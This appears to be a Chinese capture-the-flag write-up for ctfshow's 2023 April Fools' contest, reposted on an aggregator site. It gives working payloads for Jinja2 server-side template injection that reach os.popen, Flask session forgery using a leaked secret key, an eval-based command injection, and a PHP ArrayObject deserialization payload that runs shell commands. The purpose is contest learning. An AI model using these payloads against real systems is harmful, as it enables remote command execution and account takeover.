ctfshow-2023愚人杯部分wp

这篇具有很好参考价值的文章主要介绍了ctfshow-2023愚人杯部分wp。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

热身

web

easy_signin

easy_ssti

easy_flask

Crypto:

easy_base

复现

easy_php


 文章来源地址https://www.toymoban.com/news/detail-419866.html

 


 

热身

脑筋急转弯

ctfshow-2023愚人杯部分wp

 

web

easy_signin

没有看url,直接F12看源码了,所以多做了一会儿,其实是任意文件读取,img参数传的是base64编码后的文件名,图片源是base64编码后的文件。

ctfshow-2023愚人杯部分wp

ctfshow-2023愚人杯部分wp

传入index,php的base64编码aW5kZXgucGhw,得到index.php,其中包含flag

ctfshow-2023愚人杯部分wp

ctfshow-2023愚人杯部分wp

easy_ssti

ctfshow-2023愚人杯部分wp

给了提示下载app.zip

ctfshow-2023愚人杯部分wp

在hello路径后存在ssti注入

简单记录下ssti现阶段的学习步骤

首先ssti注入如何通过已加载类的功能(如果没有就查找父类的其它子类)

ctfshow-2023愚人杯部分wp

ctfshow-2023愚人杯部分wp

文件读取:_frozen_imporlib_external.FileLoader

import requests
url="http://6d312c5b-0236-485b-b16c-44edf9d8e191.challenge.ctf.show/hello/"
for i in range(500):
    # url=url+"{{[].__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"
    url=url+"{{[].__class__.__base__.__subclasses__()["+str(i)+"]}}"
    try:
        re=requests.get(url)
        if(re.status_code==200):
            if '_frozen_importlib_external.FileLoader' in re.text:
                print(i)
        # else:
        #     print(re.text)
    except:
        pass

其中url的组成是[]、''基本类型,然后就是根据魔术方法, __base__是查找父类,__subclasses__()是查找子类,[i]是子类中第几个类

由此通过脚本遍历去获取子类中多少是含有目标类名。

ctfshow-2023愚人杯部分wp

使用["get_data"](0,"app.py")

本题执行: 

{{[].__class__.__base__.__subclasses__()[99]["get_data"](0,"app.py")}}

ctfshow-2023愚人杯部分wp

但如果得到/flag由于斜杆的原因会导致url地址错误而不是传参。因此想到了前面做题Linux命令执行绕过 /不是简简单单(参见我前一篇NKctfwp),所以寻找到lipsum

这里用到了flask内置函数lipsum(还有url_for可以直接在payload替换)然后payload:

{{lipsum.__globals__.os.popen('cat `echo "L2ZsYWc="|base64 -d`').read()}}

其实这里还可以同文件读取 去找__builtins__,但用过脚本跑好像没有eval函数,后面做出来也就没深究了。下次ban了lipsum再学(不是)

easy_flask

ctfshow-2023愚人杯部分wp

随便注册一个账号进去发现部分源码,

ctfshow-2023愚人杯部分wp

发现了其中的密钥,并且查看session发现其中有含ey的字符串

ctfshow-2023愚人杯部分wp

结果拿着半截开跑,去jwt官网解密,格式都不对,硬搜,小半天过去了

然后发现是flask好像不对 自己写了一个(flask环境以前装过)

from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response

app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
}
@app.route('/')
def login():
    session['loggedin'] = True
    session['username'] = "admin"
    session['role'] = "admin"
    return "1"

if __name__ == "__main__":
    app.run('127.0.0.1')

访问自己127.0.0.1,拿到session去替换题目的session成功以admin权限进入

发现能够任意下载,但没有/flag,所以尝试命令执行的方法

ctfshow-2023愚人杯部分wp

下载源码,发现可调用eval函数

ctfshow-2023愚人杯部分wp

一开始不知到eval函数如何远程命令执行,下面是找到的方法(注意用popen,system没有回显)

__import__("os").popen("ls /").read()

ctfshow-2023愚人杯部分wp

Payload:

hello/?eval=__import__("os").popen("cat%20/flag_is_h3re").read()

 

Crypto:

easy_base

4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35

双修!先从最简单的密码学开始。

题目base,然后密文只有数字和字母A-F

先base16解码,再base32解码,再base64解码


复现

easy_php

ctfshow-2023愚人杯部分wp

 第一眼看以为是关于绕过wakeup+特殊字符的php变量名传参

结果怎么也找不到相关php变量名相关知识和网页。于是就放弃了。。

复盘时发现别人也没做什么就是url编码了,但需要注意两点:

1.仅需要对变量名url编码

2.使用URIComponent,如下图:

ctfshow-2023愚人杯部分wp

然后就是传参进行反序列化,但单单寻常的方式传入并不能有任何反应,所以下面也是知识盲区

"ctfshow类未实现serializable接口",所以 找php中内置的实现了Serializable接口的类,这里使用的是

<?php

class ctfshow{
    public $ctfshow = 'whoami';
}
$a= new ArrayObject();
$a -> a = new ctfshow();
echo serialize($a);
?>

 //C:11:"ArrayObject":74:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}}

注意用php在线不能输出同样结果,我用的php7.3.4

ctfshow-2023愚人杯部分wp

 输出的直接就是C开头的字符串,所以绕过了正则(好像还能低版本可以在O或a的冒号后的数字前可以加一个+来进行绕过)

所以最终payload:

C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}

 

 

到了这里,关于ctfshow-2023愚人杯部分wp的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ctfshow愚人杯-web-wp

    鄙人不才,可惜这里只做出了4道相对简单的web题(悲) 哈哈哈,不愧是愚人杯,刚开始时脑子真没反应过来 flag就是“一个不能说的密码”,绝了,我还以为flag是“群主喜欢36d”(bushi) 题目: 可以看到url里有一个img=xxx xxx为十六编码 我们试一下用index.php转换为base64: aW

    2023年04月16日
    浏览(35)
  • ctfshow 第三届愚人杯 easy_php

    这题学的了一些小tips,这里讲解一下。 这里详细讲解一下使用c绕过wakup。 O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任

    2023年04月26日
    浏览(63)
  • 【Web】CTFSHOW java反序列化刷题记录(部分)

    目录 web846 web847 web848 web849 web850 web856 web857 web858 直接拿URLDNS链子打就行 payload: 也可直接用ysoserial 有关CC链:CC链 1-7 分析 - 先知社区 题目提示: 用CC1打就行 先生成反弹shell的payload: 生成的payload放bp自带的decoder里进行一次url全编码 get方式传参 监听,成功反弹shell TransformedMap也

    2024年02月20日
    浏览(42)
  • Flask 创建文件目录,删除文件目录

     项目结构  app.py templates / index.html 效果图  

    2024年02月16日
    浏览(54)
  • python项目结构示例(python代码结构、python目录结构)与python部署结构、python部署目录、flask项目结构、flask目录

    myproject/ :项目的根目录,也是Python包的根目录。 myproject/__init__.py :一个空的 __init__.py 文件,用于将 myproject 目录标记为一个Python包。 myproject/module1.py 、 myproject/module2.py 等:项目的模块文件,包含项目的核心代码。 tests/ :测试目录,包含用于测试项目代码的测试文件。

    2024年02月12日
    浏览(57)
  • Electron Apple SignIn 登录

    本人写博客,向来主张:代码要完整,代码可运行,文中不留下任何疑惑。 最讨厌写博客,代码只留下片段,文中关键的东西没写清楚。之前看了那么多文章,就是不告诉我clientId从哪来的。 官方资料地址: Sign in with Apple JS | Apple Developer Documentation clientId:这个会在下文中告

    2024年01月19日
    浏览(35)
  • 软件测试|测试平台开发-Flask 入门:URL组成部分详解

    简介 Flask 是一款流行的 Python Web 框架,它简单轻量而灵活,适用于构建各种规模的 Web 应用程序。在 Flask 中,URL(Uniform Resource Locator)是指定 Web 应用程序中资源的唯一标识符。URL 组成部分是构成一个完整 URL 的不同部分,包括协议、主机名、端口号、路径和查询参数等。在

    2024年01月16日
    浏览(43)
  • nginx文件和目录以及部分nginx命令

    一.文件和目录 /etc/nginx/ /etc/nginx/ 目录是 NGINX 服务器的默认配置根,可以从中找到指示 NGINX 如何运行的配置文件。 /etc/nginx/nginx.conf /etc/nginx/nginx.conf 文件是 NGINX 服务使用的默认配置入口点。此配置文件能够 为 worker 进程、调优、日志记录、动态模块的加载以及对其他 NGINX 配

    2024年02月16日
    浏览(38)
  • Maven环境搭建及Maven部分目录分析

    Maven 本身就是⼀套由 Java 开发的软件,所以 Maven 的运⾏需要依赖 JDK 环境。在安装 Maven 之前请 确认JDK 是否配置正确(主要依赖 JAVA_HOME 环境变量)。如果没有正确安装和配置 JDK ,则运⾏ Maven 时 会出现以下错误信息:          The JAVA_HOME environment variable is not defined correct

    2024年01月20日
    浏览(36)
  • 使用 Python 和 Flask 构建简单的 Restful API 第 1 部分

            我将把这个系列分成 3 或 4 篇文章。在本系列的最后,您将了解使用flask构建 restful API 是多么容易。在本文中,我们将设置环境并创建将显示“Hello World”的终结点。         我假设你的电脑上安装了python 2.7和pip。我已经在python 2.7上测试了本文中介绍的代码,

    2024年02月13日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包